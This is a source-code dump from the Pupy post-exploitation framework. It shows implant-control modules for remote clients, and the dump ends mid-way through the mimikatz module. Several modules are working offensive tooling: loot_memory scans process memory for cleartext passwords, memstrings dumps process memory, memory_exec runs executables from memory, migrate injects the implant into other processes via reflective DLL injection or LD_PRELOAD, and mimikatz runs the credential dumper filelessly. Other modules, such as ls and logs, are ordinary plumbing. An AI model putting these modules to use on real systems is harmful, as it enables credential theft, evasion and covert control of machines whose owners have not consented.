    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nfrom pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser\nfrom pupy.pupylib.PupyCompleter import package_completer\n\n__class_name__ = \"LoadPackageModule\"\n\n\n@config(cat=\"manage\", compat=\"all\")\nclass LoadPackageModule(PupyModule):\n    \"\"\"\n    Load a python package onto a remote client. Packages files must be placed in one of the pupy/packages/<os>/<arch>/ repository\n    \"\"\"\n\n    @classmethod\n    def init_argparse(cls):\n        cls.arg_parser = PupyArgumentParser(prog=\"load_package\", description=cls.__doc__)\n        cls.arg_parser.add_argument('-f', '--force', action='store_true', help='force package to reload even '\n                                                                               'if it has already been loaded')\n        cls.arg_parser.add_argument('-r', '--remove', action='store_true', help='remove (invalidate) module')\n        cls.arg_parser.add_argument('-d', '--dll', action='store_true', help='load a dll instead')\n        cls.arg_parser.add_argument('package', completer=package_completer, help='package name '\n                                                                                 '(example: psutil, scapy, ...)')\n\n    def run(self, args):\n        if args.dll:\n            if self.client.load_dll(args.package):\n                self.success('dll loaded')\n            else:\n                self.error('the dll was already loaded')\n        elif args.remove:\n            invalidated = self.client.invalidate_packages([args.package])\n            if invalidated:\n                self.success('package invalidated')\n        else:\n            if self.client.load_package(args.package, force=args.force):\n                self.success('package loaded')\n            else:\n                self.warning('package is already loaded')\n"
  },
  {
    "path": "pupy/modules/lock_screen.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nfrom pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser\n\nimport subprocess\n\n__class_name__=\"PupyMod\"\n\n@config(compat=[\"windows\", \"darwin\"], cat=\"manage\", tags=[\"lock\", \"screen\", \"session\"])\nclass PupyMod(PupyModule):\n    \"\"\" Lock the session \"\"\"\n\n    @classmethod\n    def init_argparse(cls):\n        cls.arg_parser = PupyArgumentParser(prog=\"lock_screen\", description=cls.__doc__)\n\n    def run(self, args):\n        ok = False\n        if self.client.is_windows():\n            ok = self.client.conn.modules['ctypes'].windll.user32.LockWorkStation()\n        elif self.client.is_darwin():\n            ok = self.client.conn.modules.subprocess.Popen(\n                '/System/Library/CoreServices/Menu Extras/User.menu/Contents/Resources/CGSession -suspend',\n                stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE, shell=True)\n\n        if ok:\n            self.success(\"windows locked\")\n        else:\n            self.error(\"couldn't lock the screen\")\n"
  },
  {
    "path": "pupy/modules/logs.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nfrom pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser\nfrom pupy.pupylib.PupyOutput import TruncateToTerm, List, Color, Line\n\nfrom datetime import datetime\n\n__class_name__='Logs'\n@config(cat='admin', compat=['posix', 'windows'])\nclass Logs(PupyModule):\n    ''' Show logs (or try to search something) '''\n\n    dependencies = {\n        'posix': ['readlogs_generic'],\n        'windows': ['pupwinutils.security'],\n        'all': ['readlogs']\n    }\n\n    @classmethod\n    def init_argparse(cls):\n        cls.arg_parser = PupyArgumentParser(prog='logs', description=cls.__doc__)\n        cls.arg_parser.add_argument('-n', '--number', type=int, default=10,\n                        help='Show last n records of each category (if applicable)')\n        cls.arg_parser.add_argument('-i', '--include', action='append', default=[],\n                        help='Add regex to include content')\n        cls.arg_parser.add_argument('-s', '--source', help='Filter by source')\n        cls.arg_parser.add_argument('-x', '--exclude', action='append', default=[],\n                        help='Add regex to exclude content')\n        cls.arg_parser.add_argument('-t', '--time', action='store_true', default=False,\n                        help='Show time')\n        cls.arg_parser.add_argument('-w', '--width', action='store_true', default=False,\n                        help='Show full content')\n        cls.arg_parser.add_argument(\n            '-I', '--event-id', help='Filter by event id (if applicable')\n\n\n    def run(self, args):\n        get_last_events = self.client.remote('readlogs', 'get_last_events')\n        today = datetime.now().date()\n\n        def make_fields(item):\n            items = []\n            if args.time:\n                date = datetime.fromtimestamp(item['date'])\n                date_str = ''\n                if date.date() == today:\n                    date_str = Color(date.strftime('%H:%M:%S'), 'cyan')\n                elif date.date().year == today.year:\n                    date_str = Color(date.strftime('%d/%m %H:%M:%S'), 'grey')\n                else:\n                    date_str = Color(\n                        date.strftime('%Y/%d/%m %H:%M:%S'), 'lightgrey')\n\n                items.append(date_str)\n\n            if 'EventID' in item:\n                items.append(Color(item['EventID'], 'green'))\n\n            msg = item['msg']\n\n            if not args.width:\n                msg = ' '.join([x.strip() for x in msg.split('\\n')])\n\n            if item.get('type') in ('CRITICAL', 'EMERGENCY', 'ALERT', 'ERROR'):\n                msg = Color(msg, 'lightred')\n            elif item.get('type') == 'WARNING':\n                msg = Color(msg, 'lightyellow')\n            elif item.get('type') == 'DEBUG':\n                msg = Color(msg, 'grey')\n\n            items.append(msg)\n            return Line(*items)\n\n        for category, events in get_last_events(\n                    args.number, args.include, args.exclude, args.event_id, args.source\n                ).items():\n            if not events:\n                continue\n\n            data = List([\n                    make_fields(x) for x in events\n                ], indent=0, bullet='+' if args.include or args.exclude else '', caption=Color(\n                    '> ' + category, 'yellow'))\n\n            if not args.width:\n                data = TruncateToTerm(data)\n\n            self.log(data)\n"
  },
  {
    "path": "pupy/modules/loot_memory.py",
    "content": "# -*- coding: utf-8 -*-\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nfrom pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser\n\n__class_name__=\"LootMemory\"\n\n@config(cat=\"creds\", compat=[\"windows\", \"linux\"])\nclass LootMemory(PupyModule):\n    '''\n        Crawl processes memory and look for cleartext credentials\n    '''\n    unique_instance = True\n    dependencies = ['memorpy', 'loot_memory']\n\n    @classmethod\n    def init_argparse(cls):\n        cls.arg_parser = PupyArgumentParser(prog='loot_memory', description=cls.__doc__)\n        cls.arg_parser.add_argument('-p', '--poll', default=20, type=int, help='Poll interval (seconds)')\n        cls.arg_parser.add_argument('action', choices=['start', 'stop', 'dump'])\n\n    def run(self, args):\n        start = self.client.remote('loot_memory', 'start')\n        stop = self.client.remote('loot_memory', 'stop', False)\n        dump = self.client.remote('loot_memory', 'dump')\n\n        if args.action == 'start':\n            ok = start(poll=args.poll)\n            if ok:\n                self.success('PwdMon has been started')\n            else:\n                self.error('PwdMon has not been started')\n\n        elif args.action == 'dump':\n            results = dump()\n            if results is None:\n                self.error('PwdMon is not started')\n            else:\n                for proc, service, pwd in results:\n                    self.success('[{}][{}]{}'.format(proc, service, pwd))\n\n        elif args.action == 'stop':\n            stop()\n"
  },
  {
    "path": "pupy/modules/ls.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nfrom pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser\nfrom pupy.pupylib.PupyCompleter import remote_path_completer\nfrom pupy.pupylib.PupyOutput import Color\nfrom pupy.modules.lib import size_human_readable, file_timestamp\nfrom pupy.pupylib.utils.term import symbol_len\n\nfrom pupy.network.lib.convcompat import as_unicode_string\n\nimport sys\nfrom argparse import REMAINDER\n\nif sys.version_info.major > 2:\n    basestring = str\n\n__class_name__ = 'ls'\n\nT_NAME = 0\nT_TYPE = 1\nT_SPEC = 2\nT_MODE = 3\nT_UID = 4\nT_GID = 5\nT_SIZE = 6\nT_TIMESTAMP = 7\nT_PATH = 8\nT_FILES = 9\nT_FILE = 10\nT_TRUNCATED = 11\nT_ZIPFILE = 12\nT_TARFILE = 13\nT_HAS_XATTR = 14\n\n# TODO: Rewrite using tables\n\n\ndef to_str(value):\n    return as_unicode_string(value, fail='convert')\n\n\ndef output_format(\n    file, windows=False, archive=None,\n        time=False, uid_len=0, gid_len=0):\n\n    if file[T_TYPE] == 'X':\n        return '--- TRUNCATED ---'\n\n    name = to_str(file[T_NAME])\n\n    if archive:\n        name += u' \\u25bb ' + archive\n\n    timestamp_field = u'{:<18}' if time else u'{:<10}'\n\n    if windows:\n        out = u'  {}{}{}{}{}{}'.format(\n            timestamp_field.format(file_timestamp(file[T_TIMESTAMP], time)),\n            u'{:<2}'.format(file[T_TYPE] + ('+' if file[T_HAS_XATTR] else '')),\n            to_str(file[T_UID]).rjust(uid_len+1)+u' ' if uid_len else u'',\n            to_str(file[T_GID]).rjust(gid_len+1)+u' ' if gid_len else u'',\n            u'{:>9}'.format(size_human_readable(file[T_SIZE])),\n            u' {:<40}'.format(name))\n    else:\n        if not uid_len:\n            uid_len = 5\n\n        if not gid_len:\n            gid_len = 5\n\n        out = u'  {}{}{}{}{}{}{}'.format(\n            timestamp_field.format(file_timestamp(file[T_TIMESTAMP], time)),\n            u'{:<2}'.format(file[T_TYPE] + ('+' if file[T_HAS_XATTR] else '')),\n            to_str(file[T_UID]).rjust(uid_len+1)+' ',\n            to_str(file[T_GID]).rjust(gid_len+1)+' ',\n            u'{:04o} '.format(file[T_MODE] & 0o7777),\n            u'{:>9}'.format(size_human_readable(file[T_SIZE])),\n            u' {:<40}'.format(name))\n\n    if archive:\n        out = Color(out, 'yellow')\n    elif file[T_TYPE] == 'D':\n        out = Color(out, 'lightyellow')\n    elif 'U' in file[T_SPEC]:\n        out = Color(out, 'lightred')\n    elif 'G' in file[T_SPEC]:\n        out = Color(out, 'red')\n    elif file[T_TYPE] == 'B':\n        out = Color(out, 'grey')\n    elif file[T_TYPE] == 'C':\n        out = Color(out, 'grey')\n    elif file[T_TYPE] == 'F':\n        out = Color(out, 'cyan')\n    elif file[T_TYPE] == 'S':\n        out = Color(out, 'magenta')\n    elif file[T_TYPE] == 'L':\n        out = Color(out, 'grey')\n    elif not file[T_SIZE]:\n        out = Color(out, 'darkgrey')\n    elif 'W' in file[T_SPEC] and not windows:\n        out = Color(out, 'blue')\n    elif file[T_HAS_XATTR]:\n        out = Color(out, 'lightmagenta')\n    elif 'E' in file[T_SPEC]:\n        out = Color(out, 'lightgreen')\n\n    return out\n\n\n@config(cat=\"admin\")\nclass ls(PupyModule):\n    \"\"\" list system files \"\"\"\n    is_module = False\n\n    dependencies = ['pupyutils.basic_cmds']\n\n    @classmethod\n    def init_argparse(cls):\n        cls.arg_parser = PupyArgumentParser(prog=\"ls\", description=cls.__doc__)\n        cls.arg_parser.add_argument(\n            '-d', '--dir', action='store_false', default=True,\n            help='do not list directories'\n        )\n\n        cls.arg_parser.add_argument(\n            '-u', '--userinfo', action='store_true', help='show uid info'\n        )\n        cls.arg_parser.add_argument(\n            '-g', '--groupinfo', action='store_true', help='show gid info'\n        )\n\n        sort = cls.arg_parser.add_mutually_exclusive_group()\n        sort.add_argument(\n            '-L', '--limit', type=int, default=1024,\n            help='List no more than this amount of files (server side), '\n            'to not to stuck on huge dirs. Default: 1024'\n        )\n        sort.add_argument(\n            '-A', '--archive', action='store_true',\n            help='list archives (tar/zip)'\n        )\n        sort.add_argument(\n            '-s', '--size', dest='sort', action='store_const',\n            const=T_SIZE, help='sort by size'\n        )\n        sort.add_argument(\n            '-t', '--time', dest='sort', action='store_const',\n            const=T_TIMESTAMP, help='sort by time'\n        )\n        cls.arg_parser.add_argument(\n            '-r', '--reverse', action='store_true', default=False,\n            help='reverse sort order'\n        )\n        cls.arg_parser.add_argument(\n            'path', type=str, nargs=REMAINDER,\n            help='path of a specific file', completer=remote_path_completer\n        )\n\n    def run(self, args):\n        try:\n            ls = self.client.remote('pupyutils.basic_cmds', 'ls')\n\n            path = ' '.join(args.path)\n\n            results = ls(\n                path, args.dir, args.limit,\n                args.archive, args.userinfo or args.groupinfo)\n\n        except Exception as e:\n            raise\n            self.error(\n                ' '.join(x for x in e.args if isinstance(x, basestring))\n            )\n            return\n\n        # results = obtain(results)\n        windows = self.client.is_windows()\n\n        if not results:\n            return\n\n        total_cnt = 0\n        files_size = 0\n        files_cnt = 0\n        dirs_cnt = 0\n\n        show_time = args.sort == T_TIMESTAMP\n\n        for r in results:\n            uid_len = 0\n            gid_len = 0\n\n            if T_FILES in r:\n                archive = None\n                is_windows = windows\n\n                if args.userinfo or args.groupinfo:\n                    for x in r[T_FILES]:\n                        if args.userinfo:\n                            uid = x.get(T_UID, '?')\n                            if type(uid) == int:\n                                uid = str(uid)\n\n                            if symbol_len(uid) > uid_len:\n                                uid_len = symbol_len(uid)\n\n                        if args.groupinfo:\n                            gid = x.get(T_GID, '?')\n                            if type(gid) == int:\n                                gid = str(gid)\n\n                            if symbol_len(gid) > gid_len:\n                                gid_len = symbol_len(gid)\n\n                if T_ZIPFILE in r:\n                    self.log(Color('ZIP: '+r[T_ZIPFILE]+':', 'lightred'))\n                    is_windows = True\n                elif T_TARFILE in r:\n                    self.log(Color('TAR: '+r[T_TARFILE]+':', 'lightred'))\n                    is_windows = False\n                elif T_PATH in r:\n                    self.log(r[T_PATH]+':')\n\n                if not args.sort:\n                    dirs = []\n                    files = []\n                    truncated = 0\n\n                    for x in r[T_FILES] or []:\n                        if T_TRUNCATED in x:\n                            truncated = x[T_TRUNCATED]\n                            total_cnt += truncated\n                        elif x[T_TYPE] == 'D':\n                            dirs.append(x)\n                            total_cnt += 1\n                            dirs_cnt += 1\n                        else:\n                            files.append(x)\n                            files_size += x[T_SIZE]\n                            total_cnt += 1\n                            files_cnt += 1\n\n                    for f in sorted(\n                        dirs, key=lambda x: to_str(x.get(T_NAME)),\n                            reverse=args.reverse):\n\n                        self.log(\n                            output_format(\n                                f, is_windows, time=show_time,\n                                uid_len=uid_len, gid_len=gid_len\n                            )\n                        )\n\n                    for f in sorted(\n                        files, key=lambda x: to_str(x.get(T_NAME)),\n                            reverse=args.reverse):\n                        self.log(\n                            output_format(\n                                f, is_windows, time=show_time,\n                                uid_len=uid_len, gid_len=gid_len\n                            )\n                        )\n\n                    if truncated:\n                        self.warning(\n                            'Folder is too big. Not listed: {} (-L {})'.format(\n                                truncated, args.limit\n                            )\n                        )\n\n                        self.info(\n                            'Summary (observed): '\n                            'Files: {} Dirs: {} Total: {}'.format(\n                                '{}+'.format(files_cnt) if files_cnt else '??',\n                                '{}+'.format(dirs_cnt) if dirs_cnt else '??',\n                                total_cnt\n                            )\n                        )\n                    else:\n                        self.info(\n                            'Summary: '\n                            'Files: {} (size: {}) Dirs: {} Total: {}'.format(\n                                files_cnt, size_human_readable(files_size),\n                                dirs_cnt, total_cnt\n                            )\n                        )\n\n                else:\n                    truncated = False\n                    for f in sorted(\n                        r[T_FILES], key=lambda x: x.get(args.sort),\n                            reverse=args.reverse):\n                        if T_TRUNCATED in f:\n                            truncated = True\n                            continue\n\n                        self.log(\n                            output_format(\n                                f, is_windows, time=show_time,\n                                uid_len=uid_len, gid_len=gid_len\n                            )\n                        )\n\n                    if truncated:\n                        self.log('--- TRUNCATED ---')\n\n            elif T_FILE in r:\n                is_windows = windows\n                archive = ''\n                if T_ZIPFILE in r:\n                    archive = 'ZIP'\n                    is_windows = True\n                elif T_TARFILE in r:\n                    archive = 'TAR'\n                    is_windows = False\n\n                if args.userinfo:\n                    uid = r[T_FILE][T_UID]\n                    if type(uid) == int:\n                        uid = str(uid)\n\n                    uid_len = symbol_len(uid)\n\n                if args.groupinfo:\n                    gid = r[T_FILE][T_GID]\n                    if type(gid) == int:\n                        gid = str(gid)\n\n                    gid_len = symbol_len(gid)\n\n                self.log(\n                    output_format(\n                        r[T_FILE], is_windows, archive, show_time,\n                        uid_len=uid_len, gid_len=gid_len\n                    )\n                )\n\n            else:\n                self.error('Old format. Update pupyutils.basic_cmds')\n                return\n"
  },
  {
    "path": "pupy/modules/mapped.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nfrom io import open\n\nfrom pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser\nfrom pupy.pupylib.PupyCompleter import path_completer\n\n__class_name__ = 'Mapped'\n\n\n@config(compat='linux')\nclass Mapped(PupyModule):\n    ''' Create virtual mapped path with memfd backed file (if supported) '''\n\n    dependencies = ['mapped']\n\n    @classmethod\n    def init_argparse(cls):\n        cls.arg_parser = PupyArgumentParser(prog='mapped', description=cls.__doc__)\n\n        actions = cls.arg_parser.add_mutually_exclusive_group()\n        actions.add_argument(\n            '-C', '--create', help='Path to local file to upload',\n            completer=path_completer\n        )\n        actions.add_argument(\n            '-R', '--remove', action='store_true', help='Remove virtual path'\n        )\n\n        cls.arg_parser.add_argument('virtual', help='Virtual path')\n\n    def run(self, args):\n        if args.create:\n            create = self.client.remote('mapped', 'create_mapped_file')\n\n            with open(args.create, 'rb') as idata:\n                create(args.virtual, idata.read())\n        else:\n            remove = self.client.remote('mapped', 'close_mapped_file')\n            remove(args.virtual)\n"
  },
  {
    "path": "pupy/modules/memory_exec.py",
    "content": "# -*- coding: utf-8 -*-\n# --------------------------------------------------------------\n# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)\n# All rights reserved.\n#\n# Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:\n#\n# 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.\n#\n# 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.\n#\n# 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.\n#\n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE\n# --------------------------------------------------------------\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nfrom pupy.pupylib.PupyModule import (\n    config, PupyModule, PupyArgumentParser,\n    REQUIRE_REPL\n)\n\nfrom pupy.pupylib.PupyCompleter import path_completer\nfrom pupy.modules.lib.windows.memory_exec import exec_pe\nfrom pupy.modules.lib.linux.exec_elf import mexec\n\nfrom argparse import REMAINDER\nfrom os import path\n\n__class_name__=\"MemoryExec\"\n\n@config(compatibilities=[\"windows\", \"linux\"], category=\"manage\")\nclass MemoryExec(PupyModule):\n    \"\"\"\n        Execute a executable from memory\n    \"\"\"\n\n    io = REQUIRE_REPL\n\n    dependencies = {\n        'linux': ['memexec'],\n        'windows': ['pupwinutils.memexec']\n    }\n\n    def __init__(self, *args, **kwargs):\n        PupyModule.__init__(self,*args, **kwargs)\n        self.interrupted = False\n        self.mp = None\n\n    @classmethod\n    def init_argparse(cls):\n        cls.arg_parser = PupyArgumentParser(prog=\"memory_exec\", description=cls.__doc__)\n        #cls.arg_parser.add_argument('-p', '--process', default='cmd.exe', help='process to start suspended')\n        cls.arg_parser.add_argument('-i', '--interactive', action='store_true', help='interact with the process stdin.')\n        cls.arg_parser.add_argument('-m', '--impersonate', action='store_true', help='use the current impersonated token (to use with impersonate module)')\n        cls.arg_parser.add_argument('-s', '--suspended-process', default=\"cmd.exe\", help='change the suspended process to spawn (default: cmd.exe)')\n        cls.arg_parser.add_argument('-0', '--argv0', help='Set argv[0] (linux only)')\n        cls.arg_parser.add_argument('path', help='path to the exe', completer=path_completer)\n        cls.arg_parser.add_argument('args', nargs=REMAINDER, help='optional arguments to pass to the exe')\n\n    def interrupt(self):\n        self.info(\"interrupting remote process, please wait ...\")\n        if self.mp:\n            self.mp.close()\n\n    def run(self, args):\n        log = None\n        if self.client.is_windows():\n            log = exec_pe(\n                self, args.args,\n                path=args.path, interactive=args.interactive,\n                use_impersonation=args.impersonate,\n                suspended_process=args.suspended_process\n            )\n        elif self.client.is_linux():\n            log = mexec(\n                self, args.path, args.args,\n                argv0=args.argv0 or path.basename(args.path),\n                interactive=args.interactive\n            )\n\n        if log and type(log) is str:\n            self.log(log)\n"
  },
  {
    "path": "pupy/modules/memstrings.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport os\nfrom io import open\n\nfrom pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser\nfrom pupy.pupylib.utils.rpyc_utils import obtain\n\n__class_name__=\"MemStrings\"\n\n@config(cat=\"creds\", compat=[\"windows\", \"linux\", \"solaris\"])\nclass MemStrings(PupyModule):\n    \"\"\"\n        Dump printable strings from process memory for futher analysis\n    \"\"\"\n    dependencies=['memorpy', 'memstrings']\n\n    termevent = None\n\n    @classmethod\n    def init_argparse(cls):\n        cls.arg_parser = PupyArgumentParser(prog='memstrings', description=cls.__doc__)\n        action = cls.arg_parser.add_mutually_exclusive_group(required=True)\n        action.add_argument('-p', '--pid', nargs='*', type=int, default=[],\n                                help='Include processes with specified pids')\n        action.add_argument('-n', '--name', nargs='*', default=[],\n                                help='Include processes with specified names')\n        cls.arg_parser.add_argument('-x', '--omit', type=str, default='isrx',\n                                help='Avoid scanning: '\n                                'i - ranges with file mapping; '\n                                's - ranges with shared region; '\n                                'x - ranges with executable region; '\n                                'r - ranges with read-only region')\n\n        regex = cls.arg_parser.add_mutually_exclusive_group()\n        regex.add_argument('-r', '--regex', type=str,\n                           help='Regex to match (default: printable strings). '\n                               'Example: \"^[a-zA-Z_]+=[\\\\x20-\\\\x7e]+$\" - env strings')\n\n        maxmin = regex.add_argument_group()\n        maxmin.add_argument('-l', '--min-length', type=int, default=4,\n                                help='Show only strings which are longer then specified length')\n        maxmin.add_argument('-m', '--max-length', type=int, default=51,\n                                help='Show only strings which are shorter then specified length')\n\n        cls.arg_parser.add_argument('-P', '--portions', type=int, default=8192,\n                                help='Strings portion block')\n        cls.arg_parser.add_argument('-d', '--no-duplication', default=False, action='store_true',\n                                help='Enable strings deduplication (will increase memory usage)')\n        cls.arg_parser.add_argument('-S', '--stdout', action='store_true', help='Show strings on stdout')\n\n    def run(self, args):\n        targets = args.pid + args.name\n\n        REvent = self.client.remote('threading', 'Event', False)\n        iterate_strings = self.client.remote('memstrings', 'iterate_strings', False)\n\n        self.termevent = REvent()\n\n        last_pid = None\n        last_log = None\n\n        config = self.client.pupsrv.config\n\n        for pid, name, strings in iterate_strings(\n                targets,\n                args.regex,\n                min_length=args.min_length,\n                max_length=args.max_length,\n                omit=args.omit,\n                portions=args.portions,\n                terminate=self.termevent,\n                nodup=args.no_duplication,\n        ):\n\n            strings = obtain(strings)\n            pid = str(pid) or '0'\n            name = str(name) or ''\n\n            if not strings:\n                self.error('No dumps received')\n                return\n\n            if args.stdout:\n                self.success('Strings {}:{}'.format(name, pid))\n                for s in strings:\n                    self.log(s)\n            else:\n                if last_pid != pid:\n                    last_pid = pid\n                    if last_log:\n                        last_log.close()\n\n                    try:\n                        folder = config.get_folder('memstrings', {'%c': self.client.short_name()})\n                        path = name.replace('!','!!').replace('/', '!').replace('\\\\', '!')\n                        path = os.path.join(folder, '{}.{}.strings'.format(path, pid))\n                        last_log = open(path, 'w+')\n                        self.success('{} {} -> {}'.format(name, pid, path))\n\n                    except Exception as e:\n                        self.error('{} {}: {}'.format(name, pid, e))\n\n                for s in strings:\n                    last_log.write(s+'\\n')\n\n                last_log.flush()\n\n        if last_log:\n            last_log.close()\n\n    def interrupt(self):\n        if self.termevent:\n            self.termevent.set()\n"
  },
  {
    "path": "pupy/modules/migrate.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nfrom pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser\n\nfrom pupy.modules.lib.windows.migrate import migrate as win_migrate\nfrom pupy.modules.lib.linux.migrate import migrate as lin_migrate\nfrom pupy.modules.lib.linux.migrate import ld_preload\n\n__class_name__ = 'MigrateModule'\n\n\n@config(cat='manage', compat=['linux', 'windows'])\nclass MigrateModule(PupyModule):\n    ''' Migrate pupy into another process using reflective DLL injection '''\n\n    max_clients = 1\n    dependencies = {\n        'windows': ['pupwinutils.processes']\n    }\n\n    @classmethod\n    def init_argparse(cls):\n        cls.arg_parser = PupyArgumentParser(\n            prog='migrate', description=cls.__doc__\n        )\n        cls.arg_parser.add_argument(\n            '--no-wait', action='store_false', default=True,\n            help='Does not Hook exit thread function and wait '\n            'until pupy exists (Linux)'\n        )\n\n        cls.arg_parser.add_argument(\n            '-d', '--debug', action='store_true', default=False,\n            help='enable debug option in pupy config'\n        )\n\n        group = cls.arg_parser.add_mutually_exclusive_group(required=True)\n        group.add_argument(\n            '-c', '--create', metavar='<exe_path>',\n            help='create a new process and inject into it'\n        )\n        group.add_argument(\n            '-p', '--process', metavar='process_name',\n            help='search a process name and migrate into'\n        )\n        group.add_argument(\n            '--port', type=int,\n            help='Set port for bind payload'\n        )\n        group.add_argument(\n            'pid', nargs='?', type=int, help='pid'\n        )\n        cls.arg_parser.add_argument(\n            '-P', '--payload', help='Use precompiled payload. Must be DLL'\n        )\n        cls.arg_parser.add_argument(\n            '-k', '--keep', action='store_true',\n            help='migrate into the process but create a new session and keep '\n            'the current pupy session running'\n        )\n        cls.arg_parser.add_argument(\n            '-t', '--timeout', type=int, default=30,\n            help='time in seconds to wait for the connection'\n        )\n\n    def run(self, args):\n        if self.client.is_windows():\n            # If current launcher uses a BIND connection,\n            # isBindConnection == True\n            isBindConnection = False\n\n            if self.client.desc['launcher'] == 'bind' and not args.port:\n                isBindConnection = True\n\n                self.error(\n                    'The current launcher uses a bind connection: '\n                    'bind port required'\n                )\n\n                return\n\n            pid = None\n\n            if args.create:\n                start_hidden_process = self.client.remote(\n                    'pupwinutils.processes', 'start_hidden_process'\n                )\n\n                self.success('Migrating to new windows process')\n                pid = start_hidden_process(args.create)\n                self.success(\n                    '%s created with pid %s' % (args.create, pid)\n                )\n\n            elif args.process:\n                self.success('Looking for process %s' % args.process)\n                pstree = self.client.remote('pupyps', 'pstree')\n                root, tree, data = pstree()\n                for pid, properties in data.items():\n                    proc = properties['exe']\n                    if not proc:\n                        continue\n\n                    if args.process.lower() in proc.lower():\n                        pid = int(pid)\n                        self.success(\n                            'Migrating to existing windows process {} '\n                            'identified with the pid {}'.format(proc, pid)\n                        )\n\n                        break\n            else:\n                self.success(\n                    'Migrating to existing windows process '\n                    'identified with the pid {0}'.format(args.pid)\n                )\n                pid = args.pid\n\n            win_migrate(\n                self, pid, args.keep, args.timeout,\n                bindPort=args.port, debug=args.debug, from_payload=args.payload\n            )\n\n            if isBindConnection:\n                listeningAddress = self.client.desc['address'].split(':')[0]\n                listeningAddressPortForBind = '{0}:{1}'.format(\n                    listeningAddress, args.port\n                )\n\n                self.success(\n                    \"You have to connect to the target manually on {0}: try \"\n                    \"'connect --host {0}' in pupy shell\".format(\n                        listeningAddressPortForBind\n                    )\n                )\n\n        elif self.client.is_linux():\n            if args.create:\n                self.success(\n                    'Migrating to new linux process using LD_PRELOAD'\n                )\n\n                ld_preload(\n                    self, args.create, wait_thread=args.no_wait,\n                    keep=args.keep, debug=args.debug,\n                    from_payload=args.payload\n                )\n            else:\n                self.success('Migrating to existing linux process')\n                lin_migrate(\n                    self, args.pid, args.keep, debug=args.debug\n                )\n"
  },
  {
    "path": "pupy/modules/mimikatz.py",
    "content": "# -*- coding: utf-8 -*-\n\n# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)\n# Pupy is under the BSD 3-Clause license. see the LICENSE\n# file at the root of the project for the detailed licence terms\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nfrom pupy.pupylib.PupyModule import (\n    config, PupyArgumentParser,\n    REQUIRE_NOTHING\n)\n\nfrom pupy.pupylib.PupyOutput import Error, Table\n\nfrom pupy.modules.memory_exec import MemoryExec\nfrom pupy.modules.lib.windows.memory_exec import exec_pe\nfrom pupy.pupylib.utils.credentials import Credentials\n\nimport sys\nimport os.path\nimport re\n\nif sys.version_info.major > 2:\n    xrange = range\n\n__class_name__ = 'Mimikatz'\n\n\n@config(cat='exploit', compat='windows')\nclass Mimikatz(MemoryExec):\n    '''\n        execute mimikatz from memory (non-interactive)\n    '''\n\n    dependencies = [\n        'pupwinutils.memexec',\n        'pupwinutils.wdigest'\n    ]\n\n    io = REQUIRE_NOTHING\n\n    @classmethod\n    def init_argparse(cls):\n        cls.arg_parser = PupyArgumentParser(\n            prog='mimikatz', description=cls.__doc__\n        )\n\n        cls.arg_parser.add_argument(\n            'args', nargs='*', help='run mimikatz commands from argv '\n            '(let empty to use loginPasswords)'\n        )\n\n        cls.arg_parser.add_argument(\n            '-v', '--verbose', action='store_true', default=False,\n            help='Show arguments and stdout'\n        )\n\n        cls.arg_parser.add_argument(\n            \"--wdigest\", choices={'check', 'enable', 